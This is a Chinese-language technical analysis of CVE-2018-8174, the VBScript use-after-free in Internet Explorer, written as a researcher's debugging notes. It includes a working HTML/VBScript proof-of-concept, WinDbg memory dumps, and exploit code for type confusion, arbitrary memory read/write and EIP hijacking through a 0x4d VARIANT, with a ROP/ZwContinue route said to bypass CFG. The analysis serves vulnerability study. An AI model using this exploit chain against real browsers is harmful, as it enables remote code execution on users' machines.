CVE-2018-8174 analysis

CVE-2018-8174

Basic Info

利用ole加载IE的0day完成利用。

  • win7 sp1 x86
  • vbscript version : 5.8.9600.17420

vuln ✅

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<html lang="en">
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script language="vbscript">

Dim array_a
Dim array_b(1)

Class Trigger
Private Sub Class Terminate()
Set array_b(0) = array_a(1)
array_a(1) = 1
End Sub
End Class

Sub UAF
ReDim array_a(1)
Set array_a(1) = New Trigger
Erase array_a
End Sub

Sub TriggerVuln
array_b(0) = 0
End Sub

Sub StartExploit
UAF
TriggerVuln
End Sub

StartExploit

</script>
</body>
</html>

看起来是个UaF,结合poc来看:

  • UAF函数里Redim了array_a,并且把它的值初始化为Trigger对象的一个实例,随后便删除了array_a对象
  • array_a被删除的时候触发了Trigger的析构函数,这里面把array_a(1)赋值给array_b(0),此时array_b(0)指向Trigger对象
  • 随后array_a(1)=1是为了平衡引用计数,好获得一个野指针
  • 随后的TriggerVuln函数里array_b(0)访问了已经释放的Trigger对象,导致UaF。

这个过程和之前看到的一些vbs的洞很像,都是一个模式。

那么根据!heap -p -a eax的调用栈可以看到一个!VbsErase+0x00000050函数,这个应该是对应poc里的Erase array_a

调用栈k10里看到的vbscript!AssignVar 应该对应array_b(0) = 0赋值语句。

Q:UaF的对象是?
A:VBScriptClass

Q:被释放对象的大小?
A:0x30

释放的时候,回调用这个对象的VBScriptClass::Release函数,在c++层vbs里的Trigger对象是VBScriptClass,释放的时候调用了Release函数,所以该对象的大小等信息,可以调这个函数。

释放前后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
0:007> dd esi
01848fd0 6b60206c 00000002 0184cf78 07d29f88
01848fe0 00000b64 00000000 00000000 08864efc
01848ff0 00000001 0865efe4 00000000 00000000
01849000 ???????? ???????? ???????? ????????
01849010 ???????? ???????? ???????? ????????
01849020 ???????? ???????? ???????? ????????
01849030 ???????? ???????? ???????? ????????
01849040 ???????? ???????? ???????? ????????
0:007> !heap -p -a esi
address 01848fd0 found in
_DPH_HEAP_ROOT @ 1781000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
8860ea0: 1848fd0 30 - 1848000 2000
vbscript!VBScriptClass::`vftable'
722c8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77225ede ntdll!RtlDebugAllocateHeap+0x00000030
771ea40a ntdll!RtlpAllocateHeap+0x000000c4
771b5ae0 ntdll!RtlAllocateHeap+0x0000023a
77039d45 msvcrt!malloc+0x0000008d
7703b0d7 msvcrt!operator new+0x0000001d
6b629f0c vbscript!VBScriptClass::Create+0x00000014
6b629e97 vbscript!CScriptRuntime::RunNoEH+0x00002c78
6b60526e vbscript!CScriptRuntime::Run+0x000000c3
6b60518b vbscript!CScriptEntryPoint::Call+0x0000010b
6b62a12e vbscript!CScriptRuntime::RunNoEH+0x00002c23
6b60526e vbscript!CScriptRuntime::Run+0x000000c3
6b60518b vbscript!CScriptEntryPoint::Call+0x0000010b
6b6057cb vbscript!CScriptRuntime::RunNoEH+0x00001d74
6b60526e vbscript!CScriptRuntime::Run+0x000000c3
6b60518b vbscript!CScriptEntryPoint::Call+0x0000010b
6b6057cb vbscript!CScriptRuntime::RunNoEH+0x00001d74
6b60526e vbscript!CScriptRuntime::Run+0x000000c3
6b60518b vbscript!CScriptEntryPoint::Call+0x0000010b
6b6059bd vbscript!CSession::Execute+0x00000156
6b605c6b vbscript!COleScript::ExecutePendingScripts+0x0000014f
6b629138 vbscript!COleScript::ParseScriptTextCore+0x0000023e
6b60c3b9 vbscript!COleScript::ParseScriptText+0x00000029
6496f1e5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051
64a05f3a MSHTML!CScriptCollection::ParseScriptText+0x00000177
6496fd65 MSHTML!CScriptData::CommitCode+0x00000332
6496f973 MSHTML!CScriptData::Execute+0x00000286
649707d4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130
649e9a52 MSHTML!CHtmParseBase::Execute+0x00000196
6476b333 MSHTML!CHtmPost::Broadcast+0x00000153
6476b0ef MSHTML!CHtmPost::Exec+0x000005d9
64a078c8 MSHTML!CHtmPost::Run+0x0000003d


0:007> g
(b4c.b64): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01848fd0 ebx=72540fd0 ecx=00000009 edx=00000009 esi=08658fe0 edi=00000009
eip=759e4971 esp=0479b7f0 ebp=0479b7f8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
OLEAUT32!VariantClear+0xb3:
759e4971 8b08 mov ecx,dword ptr [eax] ds:0023:01848fd0=????????

exploit analysis

利用,找合适的对象占位,可以使用另一个VBScriptClass对象来占位,构造类型混淆去利用。

这个对象的结构:

1
2
3
4
01848fd0  6b60206c 00000002 0184cf78 07d29f88
vtable refcnt NameTbl
01848fe0 00000b64 00000000 00000000 08864efc
01848ff0 00000001 0865efe4 00000000 00000000

NameTbl对象保存的是这个对象的 成员变量和方法,这个对象可以被用来做利用,重点关注。

这个对象大小 0x88,NameTbl对象从+0×48开始保存成员变量和成员函数的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
NameList *__thiscall NameList::NameList(int this)
{
NameList *result; // eax

*(_DWORD *)(this + 12) = 256;
*(_DWORD *)this = 0;
*(_DWORD *)(this + 4) = 0;
*(_DWORD *)(this + 8) = 0;
*(_DWORD *)(this + 16) = 0x4000;
*(_DWORD *)(this + 52) = this + 56;
*(_DWORD *)(this + 44) = 0;
*(_DWORD *)(this + 48) = 20;
*(_DWORD *)(this + 20) = 0;
*(_DWORD *)(this + 24) = this + 20;
result = (NameList *)this;
*(_DWORD *)(this + 32) = 15;
*(_DWORD *)(this + 28) = 0;
*(_DWORD *)(this + 36) = 0;
*(_DWORD *)(this + 40) = 64;
return result;
}

UAF函数 ✅

两次0-6的循环之后,UafArrayA 和 UafArrayB
里面的7个元素都指向了释放的 ClassTerminateA/B对象。。
随后立即用 ReuseClass对象占位,此时7个引用都指向这个新的ReuseClass。。。

ClassTerminateA释放的时候:

1
2
3
4
5
6
7
8
9
0:007> dd 06776fd0  
06776fd0 69a8206c 00000000 067cff78 07ebdf88
06776fe0 000009c4 00000000 00000000 067d3efc
06776ff0 00000000 07384fc4 00000000 067b0fd0
06777000 ???????? ???????? ???????? ????????
06777010 ???????? ???????? ???????? ????????
06777020 ???????? ???????? ???????? ????????
06777030 ???????? ???????? ???????? ????????
06777040 ???????? ???????? ???????? ????????

调试发现并没有占位成功,需要调整exp的占位部分。

应该是有碎片,所以ClassTerminateA创建又释放的时候没有用同一块内存…

后面发现是pageheap的问题,不能开pageheap。

TypeConfusion函数 ✅

resueObjectA_arr和resueObjectA_int setProp给成员mem赋值。。
赋值成ReplacingClass_Array和ReplacingClass_Int 自动触发了getter回调。。。

两个Getter回调里做的事差不多,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Class ReplacingClass_Array
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
UafArrayA(idx)=0
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For idx=0 To 6
Set UafArrayA(idx)=objectImitatingArray
Next
End Property
End Class

ReuseClass.mem 赋值为 CDbl("174088534690791e-324")

随后释放了原本UafArrayA指向的内存,随后利用
Set objectImitatingArray=New FakeReuseClass去占位,重新获取到原本对象的内存,此时就可以把 ReuseClass混淆成了FakeReuseClass对象。
之后 objectImitatingArray.mem 的赋值利用错位覆盖,伪造出了一个Array对象。

重点调试下这个混淆的过程:

两个地址分别是1e7c7201e82fa8

1
2
3
4
5
6
7
8
9
10
11
0:002> dd 1e7c758 L4
01e7c758 6b7e206c 00000007 01e7da70 01e79ef8
0:002> dd 01e7da70 + 0x34 L4
01e7daa4 01e7daa8 01e81984 01e819b8 01e819f8

0:002> du 01e81984 +30
01e819b4 "p"
0:002> du 01e819b8 +30
01e819e8 "SetProp"
0:002> du 01e819f8+30
01e81a28 "mem"

类型混淆前

1
2
0:005> dd 01e819f8 L4
01e819f8 00000000 00500053 00000050 00000000

混淆之后

1
2
0:005> dd 01e819f8 L4
01e819f8 00000005 00000000 00000000 0000200c

借用别人分析里的一个图

这里的写是 在类型混淆的基础上,错位修改了成员类型。 (将VARIANT类型从String覆盖为Array)

获得了一个 0x7fffffff 长的array用于读写内存。

AAR/AAW ✅

伪造的两个对象(+8)处的NameList对象是连续分配的

1
2
3
4
5
6
7
// 第一个
0:018> dd 01bce438 L4
01bce438 01bd2348 000000ac 00000100 00000100

// 第二个
0:018> dd 01bce558 L4
01bce558 01bd2578 000000ac 00000100 00000100

成员也是连续分配的,

1
2
3
4
0:018> dd 01bce438 +0x34 L4
01bce46c 01bce470 01bd234c 01bd2380 01bd23c0
0:018> dd 01bce558 +0x34 L4
01bce58c 01bce590 01bd257c 01bd25b0 01bd25f0

所以可以利用这个特性,第一个对象为造成了一个0x7fffffff长度的array,

伪造的int对象的mem成员在fakearray的范围里,所以int.mem是一个fakearray里的地址,指向特定的元素,那么只要使用fakearray[int.mem]就可以任意地址读写。

下面是手写的记录

3EC513EA-E9A4-4CAD-BD50-FB9B087A4173_1_105

RCE ✅

写ROP+shellcode到可控的数组中,触发执行,rop修改内存属性并跳到shellcode去执行。

1
2
3
4
5
Sub TriggerCodeExecution
resueObjectA_arr.mem(some_memory)=&h4d
Wscript.Echo("GO")
resueObjectA_arr.mem(some_memory+8)=0
End Sub

触发的时候,把这个元素的VARIANT类型修改为0x4d,随后memClassA.mem(address + 8) = 0触发了AssignVar函数。

代码流将按相应大小跳转到一个“函数指针数组”的结构。当类型为0x4d,将VARIANT中的值域压栈保存,并将该值域解析成vfTable,随后发生调用,可以成功劫持eip。

1
2
3
4
NTSYSAPI NTSTATUS NTAPI ZwContinue (
IN PCONTEXT Context;
IN BOOLEAN TestAlert
);

这个函数调用时context参数可控,所以可以劫持流程,跳转到rop+shellcode里。

这种做法可以bypass CFG

参考

exp from github

[原创]“深入”探索CVE-2018-8174